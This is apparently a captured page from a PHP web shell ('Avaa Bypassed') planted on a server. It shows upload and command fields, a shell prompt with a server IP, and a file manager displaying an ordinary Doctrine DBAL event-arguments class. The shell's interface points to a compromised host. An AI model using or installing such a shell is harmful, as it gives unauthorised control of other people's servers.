404

[ Avaa Bypassed ]




Upload:

Command:

elspacio@18.225.156.91: ~ $
<?php

namespace Doctrine\DBAL\Event;

use Doctrine\DBAL\Platforms\AbstractPlatform;
use Doctrine\DBAL\Schema\TableDiff;

use function array_merge;
use function func_get_args;
use function is_array;

/**
 * Event Arguments used when SQL queries for creating tables are generated inside {@see AbstractPlatform}.
 *
 * @deprecated
 */
class SchemaAlterTableEventArgs extends SchemaEventArgs
{
    private TableDiff $tableDiff;
    private AbstractPlatform $platform;

    /** @var string[] */
    private array $sql = [];

    public function __construct(TableDiff $tableDiff, AbstractPlatform $platform)
    {
        $this->tableDiff = $tableDiff;
        $this->platform  = $platform;
    }

    /** @return TableDiff */
    public function getTableDiff()
    {
        return $this->tableDiff;
    }

    /** @return AbstractPlatform */
    public function getPlatform()
    {
        return $this->platform;
    }

    /**
     * Passing multiple SQL statements as an array is deprecated. Pass each statement as an individual argument instead.
     *
     * @param string|string[] $sql
     *
     * @return SchemaAlterTableEventArgs
     */
    public function addSql($sql)
    {
        $this->sql = array_merge($this->sql, is_array($sql) ? $sql : func_get_args());

        return $this;
    }

    /** @return string[] */
    public function getSql()
    {
        return $this->sql;
    }
}

Filemanager

Name Type Size Permission Actions
Listeners Folder 0755
ConnectionEventArgs.php File 531 B 0644
SchemaAlterTableAddColumnEventArgs.php File 2.02 KB 0644
SchemaAlterTableChangeColumnEventArgs.php File 1.64 KB 0644
SchemaAlterTableEventArgs.php File 1.37 KB 0644
SchemaAlterTableRemoveColumnEventArgs.php File 1.61 KB 0644
SchemaAlterTableRenameColumnEventArgs.php File 1.88 KB 0644
SchemaColumnDefinitionEventArgs.php File 1.76 KB 0644
SchemaCreateTableColumnEventArgs.php File 1.56 KB 0644
SchemaCreateTableEventArgs.php File 1.82 KB 0644
SchemaDropTableEventArgs.php File 1.2 KB 0644
SchemaEventArgs.php File 486 B 0644
SchemaIndexDefinitionEventArgs.php File 1.51 KB 0644
TransactionBeginEventArgs.php File 149 B 0644
TransactionCommitEventArgs.php File 150 B 0644
TransactionEventArgs.php File 445 B 0644
TransactionRollBackEventArgs.php File 152 B 0644